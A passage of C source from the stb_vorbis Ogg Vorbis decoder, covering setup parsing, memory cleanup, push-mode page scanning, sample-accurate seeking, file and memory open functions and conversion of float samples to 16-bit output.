>= f->channels) return error(f, VORBIS_invalid_setup); if (m->chan[k].angle >= f->channels) return error(f, VORBIS_invalid_setup); if (m->chan[k].magnitude == m->chan[k].angle) return error(f, VORBIS_invalid_setup); } } else m->coupling_steps = 0; // reserved field if (get_bits(f, 2)) return error(f, VORBIS_invalid_setup); if (m->submaps > 1) { for (j = 0; j < f->channels; ++j) { m->chan[j].mux = get_bits(f, 4); if (m->chan[j].mux >= m->submaps) return error(f, VORBIS_invalid_setup); } } else // @SPECIFICATION: this case is missing from the spec for (j = 0; j < f->channels; ++j) m->chan[j].mux = 0; for (j = 0; j < m->submaps; ++j) { get_bits(f, 8); // discard m->submap_floor[j] = get_bits(f, 8); m->submap_residue[j] = get_bits(f, 8); if (m->submap_floor[j] >= f->floor_count) return error(f, VORBIS_invalid_setup); if (m->submap_residue[j] >= f->residue_count) return error(f, VORBIS_invalid_setup); } } // Modes f->mode_count = get_bits(f, 6) + 1; for (i = 0; i < f->mode_count; ++i) { Mode* m = f->mode_config + i; m->blockflag = get_bits(f, 1); m->windowtype = get_bits(f, 16); m->transformtype = get_bits(f, 16); m->mapping = get_bits(f, 8); if (m->windowtype != 0) return error(f, VORBIS_invalid_setup); if (m->transformtype != 0) return error(f, VORBIS_invalid_setup); if (m->mapping >= f->mapping_count) return error(f, VORBIS_invalid_setup); } flush_packet(f); f->previous_length = 0; for (i = 0; i < f->channels; ++i) { f->channel_buffers[i] = (float*)setup_malloc(f, sizeof(float) * f->blocksize_1); f->previous_window[i] = (float*)setup_malloc(f, sizeof(float) * f->blocksize_1 / 2); f->finalY[i] = (int16*)setup_malloc(f, sizeof(int16) * longest_floorlist); if (f->channel_buffers[i] == NULL || f->previous_window[i] == NULL || f->finalY[i] == NULL) return error(f, VORBIS_outofmem); memset(f->channel_buffers[i], 0, sizeof(float) * f->blocksize_1); #ifdef STB_VORBIS_NO_DEFER_FLOOR f->floor_buffers[i] = (float*)setup_malloc(f, sizeof(float) * f->blocksize_1 / 2); if (f->floor_buffers[i] == NULL) return error(f, VORBIS_outofmem); #endif } if (!init_blocksize(f, 0, f->blocksize_0)) return FALSE; if (!init_blocksize(f, 1, f->blocksize_1)) return FALSE; f->blocksize[0] = f->blocksize_0; f->blocksize[1] = f->blocksize_1; #ifdef STB_VORBIS_DIVIDE_TABLE if (integer_divide_table[1][1] == 0) for (i = 0; i < DIVTAB_NUMER; ++i) for (j = 1; j < DIVTAB_DENOM; ++j) integer_divide_table[i][j] = i / j; #endif // compute how much temporary memory is needed // 1. { uint32 imdct_mem = (f->blocksize_1 * sizeof(float) >> 1); uint32 classify_mem; int i, max_part_read = 0; for (i = 0; i < f->residue_count; ++i) { Residue* r = f->residue_config + i; unsigned int actual_size = f->blocksize_1 / 2; unsigned int limit_r_begin = r->begin < actual_size ? r->begin : actual_size; unsigned int limit_r_end = r->end < actual_size ? r->end : actual_size; int n_read = limit_r_end - limit_r_begin; int part_read = n_read / r->part_size; if (part_read > max_part_read) max_part_read = part_read; } #ifndef STB_VORBIS_DIVIDES_IN_RESIDUE classify_mem = f->channels * (sizeof(void*) + max_part_read * sizeof(uint8*)); #else classify_mem = f->channels * (sizeof(void*) + max_part_read * sizeof(int*)); #endif // maximum reasonable partition size is f->blocksize_1 f->temp_memory_required = classify_mem; if (imdct_mem > f->temp_memory_required) f->temp_memory_required = imdct_mem; } if (f->alloc.alloc_buffer) { assert(f->temp_offset == f->alloc.alloc_buffer_length_in_bytes); // check if there's enough temp memory so we don't error later if (f->setup_offset + sizeof(*f) + f->temp_memory_required > (unsigned)f->temp_offset) return error(f, VORBIS_outofmem); } // @TODO: stb_vorbis_seek_start expects first_audio_page_offset to point to a page // without PAGEFLAG_continued_packet, so this either points to the first page, or // the page after the end of the headers. It might be cleaner to point to a page // in the middle of the headers, when that's the page where the first audio packet // starts, but we'd have to also correctly skip the end of any continued packet in // stb_vorbis_seek_start. if (f->next_seg == -1) { f->first_audio_page_offset = stb_vorbis_get_file_offset(f); } else { f->first_audio_page_offset = 0; } return TRUE; } static void vorbis_deinit(stb_vorbis* p) { int i, j; setup_free(p, p->vendor); for (i = 0; i < p->comment_list_length; ++i) { setup_free(p, p->comment_list[i]); } setup_free(p, p->comment_list); if (p->residue_config) { for (i = 0; i < p->residue_count; ++i) { Residue* r = p->residue_config + i; if (r->classdata) { for (j = 0; j < p->codebooks[r->classbook].entries; ++j) setup_free(p, r->classdata[j]); setup_free(p, r->classdata); } setup_free(p, r->residue_books); } } if (p->codebooks) { CHECK(p); for (i = 0; i < p->codebook_count; ++i) { Codebook* c = p->codebooks + i; setup_free(p, c->codeword_lengths); setup_free(p, c->multiplicands); setup_free(p, c->codewords); setup_free(p, c->sorted_codewords); // c->sorted_values[-1] is the first entry in the array setup_free(p, c->sorted_values ? c->sorted_values - 1 : NULL); } setup_free(p, p->codebooks); } setup_free(p, p->floor_config); setup_free(p, p->residue_config); if (p->mapping) { for (i = 0; i < p->mapping_count; ++i) setup_free(p, p->mapping[i].chan); setup_free(p, p->mapping); } CHECK(p); for (i = 0; i < p->channels && i < STB_VORBIS_MAX_CHANNELS; ++i) { setup_free(p, p->channel_buffers[i]); setup_free(p, p->previous_window[i]); #ifdef STB_VORBIS_NO_DEFER_FLOOR setup_free(p, p->floor_buffers[i]); #endif setup_free(p, p->finalY[i]); } for (i = 0; i < 2; ++i) { setup_free(p, p->A[i]); setup_free(p, p->B[i]); setup_free(p, p->C[i]); setup_free(p, p->window[i]); setup_free(p, p->bit_reverse[i]); } #ifndef STB_VORBIS_NO_STDIO if (p->close_on_free) fclose(p->f); #endif } void stb_vorbis_close(stb_vorbis* p) { if (p == NULL) return; vorbis_deinit(p); setup_free(p, p); } static void vorbis_init(stb_vorbis* p, const stb_vorbis_alloc* z) { memset(p, 0, sizeof(*p)); // NULL out all malloc'd pointers to start if (z) { p->alloc = *z; p->alloc.alloc_buffer_length_in_bytes &= ~7; p->temp_offset = p->alloc.alloc_buffer_length_in_bytes; } p->eof = 0; p->error = VORBIS__no_error; p->stream = NULL; p->codebooks = NULL; p->page_crc_tests = -1; #ifndef STB_VORBIS_NO_STDIO p->close_on_free = FALSE; p->f = NULL; #endif } int stb_vorbis_get_sample_offset(stb_vorbis* f) { if (f->current_loc_valid) return f->current_loc; else return -1; } stb_vorbis_info stb_vorbis_get_info(stb_vorbis* f) { stb_vorbis_info d; d.channels = f->channels; d.sample_rate = f->sample_rate; d.setup_memory_required = f->setup_memory_required; d.setup_temp_memory_required = f->setup_temp_memory_required; d.temp_memory_required = f->temp_memory_required; d.max_frame_size = f->blocksize_1 >> 1; return d; } stb_vorbis_comment stb_vorbis_get_comment(stb_vorbis* f) { stb_vorbis_comment d; d.vendor = f->vendor; d.comment_list_length = f->comment_list_length; d.comment_list = f->comment_list; return d; } int stb_vorbis_get_error(stb_vorbis* f) { int e = f->error; f->error = VORBIS__no_error; return e; } static stb_vorbis* vorbis_alloc(stb_vorbis* f) { stb_vorbis* p = (stb_vorbis*)setup_malloc(f, sizeof(*p)); return p; } #ifndef STB_VORBIS_NO_PUSHDATA_API void stb_vorbis_flush_pushdata(stb_vorbis* f) { f->previous_length = 0; f->page_crc_tests = 0; f->discard_samples_deferred = 0; f->current_loc_valid = FALSE; f->first_decode = FALSE; f->samples_output = 0; f->channel_buffer_start = 0; f->channel_buffer_end = 0; } static int vorbis_search_for_page_pushdata(vorb* f, uint8* data, int data_len) { int i, n; for (i = 0; i < f->page_crc_tests; ++i) f->scan[i].bytes_done = 0; // if we have room for more scans, search for them first, because // they may cause us to stop early if their header is incomplete if (f->page_crc_tests < STB_VORBIS_PUSHDATA_CRC_COUNT) { if (data_len < 4) return 0; data_len -= 3; // need to look for 4-byte sequence, so don't miss // one that straddles a boundary for (i = 0; i < data_len; ++i) { if (data[i] == 0x4f) { if (0 == memcmp(data + i, ogg_page_header, 4)) { int j, len; uint32 crc; // make sure we have the whole page header if (i + 26 >= data_len || i + 27 + data[i + 26] >= data_len) { // only read up to this page start, so hopefully we'll // have the whole page header start next time data_len = i; break; } // ok, we have it all; compute the length of the page len = 27 + data[i + 26]; for (j = 0; j < data[i + 26]; ++j) len += data[i + 27 + j]; // scan everything up to the embedded crc (which we must 0) crc = 0; for (j = 0; j < 22; ++j) crc = crc32_update(crc, data[i + j]); // now process 4 0-bytes for (; j < 26; ++j) crc = crc32_update(crc, 0); // len is the total number of bytes we need to scan n = f->page_crc_tests++; f->scan[n].bytes_left = len - j; f->scan[n].crc_so_far = crc; f->scan[n].goal_crc = data[i + 22] + (data[i + 23] << 8) + (data[i + 24] << 16) + (data[i + 25] << 24); // if the last frame on a page is continued to the next, then // we can't recover the sample_loc immediately if (data[i + 27 + data[i + 26] - 1] == 255) f->scan[n].sample_loc = ~0; else f->scan[n].sample_loc = data[i + 6] + (data[i + 7] << 8) + (data[i + 8] << 16) + (data[i + 9] << 24); f->scan[n].bytes_done = i + j; if (f->page_crc_tests == STB_VORBIS_PUSHDATA_CRC_COUNT) break; // keep going if we still have room for more } } } } for (i = 0; i < f->page_crc_tests;) { uint32 crc; int j; int n = f->scan[i].bytes_done; int m = f->scan[i].bytes_left; if (m > data_len - n) m = data_len - n; // m is the bytes to scan in the current chunk crc = f->scan[i].crc_so_far; for (j = 0; j < m; ++j) crc = crc32_update(crc, data[n + j]); f->scan[i].bytes_left -= m; f->scan[i].crc_so_far = crc; if (f->scan[i].bytes_left == 0) { // does it match? if (f->scan[i].crc_so_far == f->scan[i].goal_crc) { // Houston, we have page data_len = n + m; // consumption amount is wherever that scan ended f->page_crc_tests = -1; // drop out of page scan mode f->previous_length = 0; // decode-but-don't-output one frame f->next_seg = -1; // start a new page f->current_loc = f->scan[i].sample_loc; // set the current sample location // to the amount we'd have decoded had we decoded this page f->current_loc_valid = f->current_loc != ~0U; return data_len; } // delete entry f->scan[i] = f->scan[--f->page_crc_tests]; } else { ++i; } } return data_len; } // return value: number of bytes we used int stb_vorbis_decode_frame_pushdata( stb_vorbis* f, // the file we're decoding const uint8* data, int data_len, // the memory available for decoding int* channels, // place to write number of float * buffers float*** output, // place to write float ** array of float * buffers int* samples // place to write number of output samples ) { int i; int len, right, left; if (!IS_PUSH_MODE(f)) return error(f, VORBIS_invalid_api_mixing); if (f->page_crc_tests >= 0) { *samples = 0; return vorbis_search_for_page_pushdata(f, (uint8*)data, data_len); } f->stream = (uint8*)data; f->stream_end = (uint8*)data + data_len; f->error = VORBIS__no_error; // check that we have the entire packet in memory if (!is_whole_packet_present(f)) { *samples = 0; return 0; } if (!vorbis_decode_packet(f, &len, &left, &right)) { // save the actual error we encountered enum STBVorbisError error = f->error; if (error == VORBIS_bad_packet_type) { // flush and resynch f->error = VORBIS__no_error; while (get8_packet(f) != EOP) if (f->eof) break; *samples = 0; return (int)(f->stream - data); } if (error == VORBIS_continued_packet_flag_invalid) { if (f->previous_length == 0) { // we may be resynching, in which case it's ok to hit one // of these; just discard the packet f->error = VORBIS__no_error; while (get8_packet(f) != EOP) if (f->eof) break; *samples = 0; return (int)(f->stream - data); } } // if we get an error while parsing, what to do? // well, it DEFINITELY won't work to continue from where we are! stb_vorbis_flush_pushdata(f); // restore the error that actually made us bail f->error = error; *samples = 0; return 1; } // success! len = vorbis_finish_frame(f, len, left, right); for (i = 0; i < f->channels; ++i) f->outputs[i] = f->channel_buffers[i] + left; if (channels) *channels = f->channels; *samples = len; *output = f->outputs; return (int)(f->stream - data); } stb_vorbis* stb_vorbis_open_pushdata( const unsigned char* data, int data_len, // the memory available for decoding int* data_used, // only defined if result is not NULL int* error, const stb_vorbis_alloc* alloc) { stb_vorbis* f, p; vorbis_init(&p, alloc); p.stream = (uint8*)data; p.stream_end = (uint8*)data + data_len; p.push_mode = TRUE; if (!start_decoder(&p)) { if (p.eof) *error = VORBIS_need_more_data; else *error = p.error; return NULL; } f = vorbis_alloc(&p); if (f) { *f = p; *data_used = (int)(f->stream - data); *error = 0; return f; } else { vorbis_deinit(&p); return NULL; } } #endif // STB_VORBIS_NO_PUSHDATA_API unsigned int stb_vorbis_get_file_offset(stb_vorbis* f) { #ifndef STB_VORBIS_NO_PUSHDATA_API if (f->push_mode) return 0; #endif if (USE_MEMORY(f)) return (unsigned int)(f->stream - f->stream_start); #ifndef STB_VORBIS_NO_STDIO return (unsigned int)(ftell(f->f) - f->f_start); #endif } #ifndef STB_VORBIS_NO_PULLDATA_API // // DATA-PULLING API // static uint32 vorbis_find_page(stb_vorbis* f, uint32* end, uint32* last) { for (;;) { int n; if (f->eof) return 0; n = get8(f); if (n == 0x4f) { // page header candidate unsigned int retry_loc = stb_vorbis_get_file_offset(f); int i; // check if we're off the end of a file_section stream if (retry_loc - 25 > f->stream_len) return 0; // check the rest of the header for (i = 1; i < 4; ++i) if (get8(f) != ogg_page_header[i]) break; if (f->eof) return 0; if (i == 4) { uint8 header[27]; uint32 i, crc, goal, len; for (i = 0; i < 4; ++i) header[i] = ogg_page_header[i]; for (; i < 27; ++i) header[i] = get8(f); if (f->eof) return 0; if (header[4] != 0) goto invalid; goal = header[22] + (header[23] << 8) + (header[24] << 16) + (header[25] << 24); for (i = 22; i < 26; ++i) header[i] = 0; crc = 0; for (i = 0; i < 27; ++i) crc = crc32_update(crc, header[i]); len = 0; for (i = 0; i < header[26]; ++i) { int s = get8(f); crc = crc32_update(crc, s); len += s; } if (len && f->eof) return 0; for (i = 0; i < len; ++i) crc = crc32_update(crc, get8(f)); // finished parsing probable page if (crc == goal) { // we could now check that it's either got the last // page flag set, OR it's followed by the capture // pattern, but I guess TECHNICALLY you could have // a file with garbage between each ogg page and recover // from it automatically? So even though that paranoia // might decrease the chance of an invalid decode by // another 2^32, not worth it since it would hose those // invalid-but-useful files? if (end) *end = stb_vorbis_get_file_offset(f); if (last) { if (header[5] & 0x04) *last = 1; else *last = 0; } set_file_offset(f, retry_loc - 1); return 1; } } invalid: // not a valid page, so rewind and look for next one set_file_offset(f, retry_loc); } } } #define SAMPLE_unknown 0xffffffff // seeking is implemented with a binary search, which narrows down the range to // 64K, before using a linear search (because finding the synchronization // pattern can be expensive, and the chance we'd find the end page again is // relatively high for small ranges) // // two initial interpolation-style probes are used at the start of the search // to try to bound either side of the binary search sensibly, while still // working in O(log n) time if they fail. static int get_seek_page_info(stb_vorbis* f, ProbedPage* z) { uint8 header[27], lacing[255]; int i, len; // record where the page starts z->page_start = stb_vorbis_get_file_offset(f); // parse the header getn(f, header, 27); if (header[0] != 'O' || header[1] != 'g' || header[2] != 'g' || header[3] != 'S') return 0; getn(f, lacing, header[26]); // determine the length of the payload len = 0; for (i = 0; i < header[26]; ++i) len += lacing[i]; // this implies where the page ends z->page_end = z->page_start + 27 + header[26] + len; // read the last-decoded sample out of the data z->last_decoded_sample = header[6] + (header[7] << 8) + (header[8] << 16) + (header[9] << 24); // restore file state to where we were set_file_offset(f, z->page_start); return 1; } // rarely used function to seek back to the preceding page while finding the // start of a packet static int go_to_page_before(stb_vorbis* f, unsigned int limit_offset) { unsigned int previous_safe, end; // now we want to seek back 64K from the limit if (limit_offset >= 65536 && limit_offset - 65536 >= f->first_audio_page_offset) previous_safe = limit_offset - 65536; else previous_safe = f->first_audio_page_offset; set_file_offset(f, previous_safe); while (vorbis_find_page(f, &end, NULL)) { if (end >= limit_offset && stb_vorbis_get_file_offset(f) < limit_offset) return 1; set_file_offset(f, end); } return 0; } // implements the search logic for finding a page and starting decoding. if // the function succeeds, current_loc_valid will be true and current_loc will // be less than or equal to the provided sample number (the closer the // better). static int seek_to_sample_coarse(stb_vorbis* f, uint32 sample_number) { ProbedPage left, right, mid; int i, start_seg_with_known_loc, end_pos, page_start; uint32 delta, stream_length, padding, last_sample_limit; double offset = 0.0, bytes_per_sample = 0.0; int probe = 0; // find the last page and validate the target sample stream_length = stb_vorbis_stream_length_in_samples(f); if (stream_length == 0) return error(f, VORBIS_seek_without_length); if (sample_number > stream_length) return error(f, VORBIS_seek_invalid); // this is the maximum difference between the window-center (which is the // actual granule position value), and the right-start (which the spec // indicates should be the granule position (give or take one)). padding = ((f->blocksize_1 - f->blocksize_0) >> 2); if (sample_number < padding) last_sample_limit = 0; else last_sample_limit = sample_number - padding; left = f->p_first; while (left.last_decoded_sample == ~0U) { // (untested) the first page does not have a 'last_decoded_sample' set_file_offset(f, left.page_end); if (!get_seek_page_info(f, &left)) goto error; } right = f->p_last; assert(right.last_decoded_sample != ~0U); // starting from the start is handled differently if (last_sample_limit <= left.last_decoded_sample) { if (stb_vorbis_seek_start(f)) { if (f->current_loc > sample_number) return error(f, VORBIS_seek_failed); return 1; } return 0; } while (left.page_end != right.page_start) { assert(left.page_end < right.page_start); // search range in bytes delta = right.page_start - left.page_end; if (delta <= 65536) { // there's only 64K left to search - handle it linearly set_file_offset(f, left.page_end); } else { if (probe < 2) { if (probe == 0) { // first probe (interpolate) double data_bytes = right.page_end - left.page_start; bytes_per_sample = data_bytes / right.last_decoded_sample; offset = left.page_start + bytes_per_sample * (last_sample_limit - left.last_decoded_sample); } else { // second probe (try to bound the other side) double error = ((double)last_sample_limit - mid.last_decoded_sample) * bytes_per_sample; if (error >= 0 && error < 8000) error = 8000; if (error < 0 && error > -8000) error = -8000; offset += error * 2; } // ensure the offset is valid if (offset < left.page_end) offset = left.page_end; if (offset > right.page_start - 65536) offset = right.page_start - 65536; set_file_offset(f, (unsigned int)offset); } else { // binary search for large ranges (offset by 32K to ensure // we don't hit the right page) set_file_offset(f, left.page_end + (delta / 2) - 32768); } if (!vorbis_find_page(f, NULL, NULL)) goto error; } for (;;) { if (!get_seek_page_info(f, &mid)) goto error; if (mid.last_decoded_sample != ~0U) break; // (untested) no frames end on this page set_file_offset(f, mid.page_end); assert(mid.page_start < right.page_start); } // if we've just found the last page again then we're in a tricky file, // and we're close enough (if it wasn't an interpolation probe). if (mid.page_start == right.page_start) { if (probe >= 2 || delta <= 65536) break; } else { if (last_sample_limit < mid.last_decoded_sample) right = mid; else left = mid; } ++probe; } // seek back to start of the last packet page_start = left.page_start; set_file_offset(f, page_start); if (!start_page(f)) return error(f, VORBIS_seek_failed); end_pos = f->end_seg_with_known_loc; assert(end_pos >= 0); for (;;) { for (i = end_pos; i > 0; --i) if (f->segments[i - 1] != 255) break; start_seg_with_known_loc = i; if (start_seg_with_known_loc > 0 || !(f->page_flag & PAGEFLAG_continued_packet)) break; // (untested) the final packet begins on an earlier page if (!go_to_page_before(f, page_start)) goto error; page_start = stb_vorbis_get_file_offset(f); if (!start_page(f)) goto error; end_pos = f->segment_count - 1; } // prepare to start decoding f->current_loc_valid = FALSE; f->last_seg = FALSE; f->valid_bits = 0; f->packet_bytes = 0; f->bytes_in_seg = 0; f->previous_length = 0; f->next_seg = start_seg_with_known_loc; for (i = 0; i < start_seg_with_known_loc; i++) skip(f, f->segments[i]); // start decoding (optimizable - this frame is generally discarded) if (!vorbis_pump_first_frame(f)) return 0; if (f->current_loc > sample_number) return error(f, VORBIS_seek_failed); return 1; error: // try to restore the file to a valid state stb_vorbis_seek_start(f); return error(f, VORBIS_seek_failed); } // the same as vorbis_decode_initial, but without advancing static int peek_decode_initial(vorb* f, int* p_left_start, int* p_left_end, int* p_right_start, int* p_right_end, int* mode) { int bits_read, bytes_read; if (!vorbis_decode_initial(f, p_left_start, p_left_end, p_right_start, p_right_end, mode)) return 0; // either 1 or 2 bytes were read, figure out which so we can rewind bits_read = 1 + ilog(f->mode_count - 1); if (f->mode_config[*mode].blockflag) bits_read += 2; bytes_read = (bits_read + 7) / 8; f->bytes_in_seg += bytes_read; f->packet_bytes -= bytes_read; skip(f, -bytes_read); if (f->next_seg == -1) f->next_seg = f->segment_count - 1; else f->next_seg--; f->valid_bits = 0; return 1; } int stb_vorbis_seek_frame(stb_vorbis* f, unsigned int sample_number) { uint32 max_frame_samples; if (IS_PUSH_MODE(f)) return error(f, VORBIS_invalid_api_mixing); // fast page-level search if (!seek_to_sample_coarse(f, sample_number)) return 0; assert(f->current_loc_valid); assert(f->current_loc <= sample_number); // linear search for the relevant packet max_frame_samples = (f->blocksize_1 * 3 - f->blocksize_0) >> 2; while (f->current_loc < sample_number) { int left_start, left_end, right_start, right_end, mode, frame_samples; if (!peek_decode_initial(f, &left_start, &left_end, &right_start, &right_end, &mode)) return error(f, VORBIS_seek_failed); // calculate the number of samples returned by the next frame frame_samples = right_start - left_start; if (f->current_loc + frame_samples > sample_number) { return 1; // the next frame will contain the sample } else if (f->current_loc + frame_samples + max_frame_samples > sample_number) { // there's a chance the frame after this could contain the sample vorbis_pump_first_frame(f); } else { // this frame is too early to be relevant f->current_loc += frame_samples; f->previous_length = 0; maybe_start_packet(f); flush_packet(f); } } // the next frame should start with the sample if (f->current_loc != sample_number) return error(f, VORBIS_seek_failed); return 1; } int stb_vorbis_seek(stb_vorbis* f, unsigned int sample_number) { if (!stb_vorbis_seek_frame(f, sample_number)) return 0; if (sample_number != f->current_loc) { int n; uint32 frame_start = f->current_loc; stb_vorbis_get_frame_float(f, &n, NULL); assert(sample_number > frame_start); assert(f->channel_buffer_start + (int)(sample_number - frame_start) <= f->channel_buffer_end); f->channel_buffer_start += (sample_number - frame_start); } return 1; } int stb_vorbis_seek_start(stb_vorbis* f) { if (IS_PUSH_MODE(f)) { return error(f, VORBIS_invalid_api_mixing); } set_file_offset(f, f->first_audio_page_offset); f->previous_length = 0; f->first_decode = TRUE; f->next_seg = -1; return vorbis_pump_first_frame(f); } unsigned int stb_vorbis_stream_length_in_samples(stb_vorbis* f) { unsigned int restore_offset, previous_safe; unsigned int end, last_page_loc; if (IS_PUSH_MODE(f)) return error(f, VORBIS_invalid_api_mixing); if (!f->total_samples) { unsigned int last; uint32 lo, hi; char header[6]; // first, store the current decode position so we can restore it restore_offset = stb_vorbis_get_file_offset(f); // now we want to seek back 64K from the end (the last page must // be at most a little less than 64K, but let's allow a little slop) if (f->stream_len >= 65536 && f->stream_len - 65536 >= f->first_audio_page_offset) previous_safe = f->stream_len - 65536; else previous_safe = f->first_audio_page_offset; set_file_offset(f, previous_safe); // previous_safe is now our candidate 'earliest known place that seeking // to will lead to the final page' if (!vorbis_find_page(f, &end, &last)) { // if we can't find a page, we're hosed! f->error = VORBIS_cant_find_last_page; f->total_samples = 0xffffffff; goto done; } // check if there are more pages last_page_loc = stb_vorbis_get_file_offset(f); // stop when the last_page flag is set, not when we reach eof; // this allows us to stop short of a 'file_section' end without // explicitly checking the length of the section while (!last) { set_file_offset(f, end); if (!vorbis_find_page(f, &end, &last)) { // the last page we found didn't have the 'last page' flag // set. whoops! break; } previous_safe = last_page_loc + 1; last_page_loc = stb_vorbis_get_file_offset(f); } set_file_offset(f, last_page_loc); // parse the header getn(f, (unsigned char*)header, 6); // extract the absolute granule position lo = get32(f); hi = get32(f); if (lo == 0xffffffff && hi == 0xffffffff) { f->error = VORBIS_cant_find_last_page; f->total_samples = SAMPLE_unknown; goto done; } if (hi) lo = 0xfffffffe; // saturate f->total_samples = lo; f->p_last.page_start = last_page_loc; f->p_last.page_end = end; f->p_last.last_decoded_sample = lo; done: set_file_offset(f, restore_offset); } return f->total_samples == SAMPLE_unknown ? 0 : f->total_samples; } float stb_vorbis_stream_length_in_seconds(stb_vorbis* f) { return stb_vorbis_stream_length_in_samples(f) / (float)f->sample_rate; } int stb_vorbis_get_frame_float(stb_vorbis* f, int* channels, float*** output) { int len, right, left, i; if (IS_PUSH_MODE(f)) return error(f, VORBIS_invalid_api_mixing); if (!vorbis_decode_packet(f, &len, &left, &right)) { f->channel_buffer_start = f->channel_buffer_end = 0; return 0; } len = vorbis_finish_frame(f, len, left, right); for (i = 0; i < f->channels; ++i) f->outputs[i] = f->channel_buffers[i] + left; f->channel_buffer_start = left; f->channel_buffer_end = left + len; if (channels) *channels = f->channels; if (output) *output = f->outputs; return len; } #ifndef STB_VORBIS_NO_STDIO stb_vorbis* stb_vorbis_open_file_section(FILE* file, int close_on_free, int* error, const stb_vorbis_alloc* alloc, unsigned int length) { stb_vorbis* f, p; vorbis_init(&p, alloc); p.f = file; p.f_start = (uint32)ftell(file); p.stream_len = length; p.close_on_free = close_on_free; if (start_decoder(&p)) { f = vorbis_alloc(&p); if (f) { *f = p; vorbis_pump_first_frame(f); return f; } } if (error) *error = p.error; vorbis_deinit(&p); return NULL; } stb_vorbis* stb_vorbis_open_file(FILE* file, int close_on_free, int* error, const stb_vorbis_alloc* alloc) { unsigned int len, start; start = (unsigned int)ftell(file); fseek(file, 0, SEEK_END); len = (unsigned int)(ftell(file) - start); fseek(file, start, SEEK_SET); return stb_vorbis_open_file_section(file, close_on_free, error, alloc, len); } stb_vorbis* stb_vorbis_open_filename(const char* filename, int* error, const stb_vorbis_alloc* alloc) { FILE* f; #if defined(_WIN32) && defined(__STDC_WANT_SECURE_LIB__) if (0 != fopen_s(&f, filename, "rb")) f = NULL; #else f = fopen(filename, "rb"); #endif if (f) return stb_vorbis_open_file(f, TRUE, error, alloc); if (error) *error = VORBIS_file_open_failure; return NULL; } #endif // STB_VORBIS_NO_STDIO stb_vorbis* stb_vorbis_open_memory(const unsigned char* data, int len, int* error, const stb_vorbis_alloc* alloc) { stb_vorbis* f, p; if (data == NULL) return NULL; vorbis_init(&p, alloc); p.stream = (uint8*)data; p.stream_end = (uint8*)data + len; p.stream_start = (uint8*)p.stream; p.stream_len = len; p.push_mode = FALSE; if (start_decoder(&p)) { f = vorbis_alloc(&p); if (f) { *f = p; vorbis_pump_first_frame(f); if (error) *error = VORBIS__no_error; return f; } } if (error) *error = p.error; vorbis_deinit(&p); return NULL; } #ifndef STB_VORBIS_NO_INTEGER_CONVERSION #define PLAYBACK_MONO 1 #define PLAYBACK_LEFT 2 #define PLAYBACK_RIGHT 4 #define L (PLAYBACK_LEFT | PLAYBACK_MONO) #define C (PLAYBACK_LEFT | PLAYBACK_RIGHT | PLAYBACK_MONO) #define R (PLAYBACK_RIGHT | PLAYBACK_MONO) static int8 channel_position[7][6] = { { 0 }, { C }, { L, R }, { L, C, R }, { L, R, L, R }, { L, C, R, L, R }, { L, C, R, L, R, C }, }; #ifndef STB_VORBIS_NO_FAST_SCALED_FLOAT typedef union { float f; int i; } float_conv; typedef char stb_vorbis_float_size_test[sizeof(float) == 4 && sizeof(int) == 4]; #define FASTDEF(x) float_conv x // add (1<<23) to convert to int, then divide by 2^SHIFT, then add 0.5/2^SHIFT to round #define MAGIC(SHIFT) (1.5f * (1 << (23-SHIFT)) + 0.5f/(1 << SHIFT)) #define ADDEND(SHIFT) (((150-SHIFT) << 23) + (1 << 22)) #define FAST_SCALED_FLOAT_TO_INT(temp,x,s) (temp.f = (x) + MAGIC(s), temp.i - ADDEND(s)) #define check_endianness() #else #define FAST_SCALED_FLOAT_TO_INT(temp,x,s) ((int) ((x) * (1 << (s)))) #define check_endianness() #define FASTDEF(x) #endif static void copy_samples(short* dest, float* src, int len) { int i; check_endianness(); for (i = 0; i < len; ++i) { FASTDEF(temp); int v = FAST_SCALED_FLOAT_TO_INT(temp, src[i], 15); if ((unsigned int)(v + 32768) > 65535) v = v < 0 ? -32768 : 32767; dest[i] = v; } } static void compute_samples(int mask, short* output, int num_c, float** data, int d_offset, int len) { #define BUFFER_SIZE 32 float buffer[BUFFER_SIZE]; int i, j, o, n = BUFFER_SIZE; check_endianness(); for (o = 0; o < len; o += BUFFER_SIZE) { memset(buffer, 0, sizeof(buffer)); if (o + n > len) n = len - o; for (j = 0; j < num_c; ++j) { if (channel_position[num_c][j] & mask) { for (i = 0; i < n; ++i) buffer[i] += data[j][d_offset + o + i]; } } for (i = 0; i < n; ++i) { FASTDEF(temp); int v = FAST_SCALED_FLOAT_TO_INT(temp, buffer[i], 15); if ((unsigned int)(v + 32768) > 65535) v = v < 0 ? -32768 : 32767; output[o + i] = v; } } } static void compute_stereo_samples(short* output, int num_c, float** data, int d_offset, int len) { #define BUFFER_SIZE 32 float buffer[BUFFER_SIZE]; int i, j, o, n = BUFFER_SIZE >> 1; // o is the offset in the source data check_endianness(); for (o = 0; o < len; o += BUFFER_SIZE >> 1) { // o2 is the offset in the output data int o2 = o << 1; memset(buffer, 0, sizeof(buffer)); if (o + n > len) n = len - o; for (j = 0; j < num_c; ++j) { int m = channel_position[num_c][j] & (PLAYBACK_LEFT | PLAYBACK_RIGHT); if (m == (PLAYBACK_LEFT | PLAYBACK_RIGHT)) { for (i = 0; i < n; ++i) { buffer[i * 2 + 0] += data[j][d_offset + o + i]; buffer[i * 2 + 1] += data[j][d_offset + o + i]; } } else if (m == PLAYBACK_LEFT) { for (i = 0; i < n; ++i) { buffer[i * 2 + 0] += data[j][d_offset + o + i]; } } else if (m == PLAYBACK_RIGHT) { for (i = 0; i < n; ++i) { buffer[i * 2 + 1] += data[j][d_offset + o + i]; } } } for (i = 0; i < (n << 1); ++i) { FASTDEF(temp); int v = FAST_SCALED_FLOAT_TO_INT(temp, buffer[i], 15); if ((unsigned int)(v + 32768) > 65535) v = v < 0 ? -32768 : 32767; output[o2 + i] = v; } } } static void convert_samples_short(int buf_c, short** buffer, int b_offset, int data_c, float** data, int d_offset, int samples) { int i; if (buf_c != data_c && buf_c <= 2 && data_c <= 6) { static int channel_selector[3][2] = { {0}, {PLAYBACK_MONO}, {PLAYBACK_LEFT, PLAYBACK_RIGHT} }; for (i = 0; i < buf_c; ++i) compute_samples(channel_selector[buf_c][i], buffer[i] + b_offset, data_c, data, d_offset, samples); } else { int limit = buf_c < data_c ? buf_c : data_c; for (i = 0; i < limit; ++i) copy_samples(buffer[i] + b_offset, data[i] + d_offset, samples); for (; i < buf_c; ++i) memset(buffer[i] + b_offset, 0, sizeof(short) * samples); } } int stb_vorbis_get_frame_short(stb_vorbis* f, int num_c, short** buffer, int num_samples) { float** output = NULL; int len = 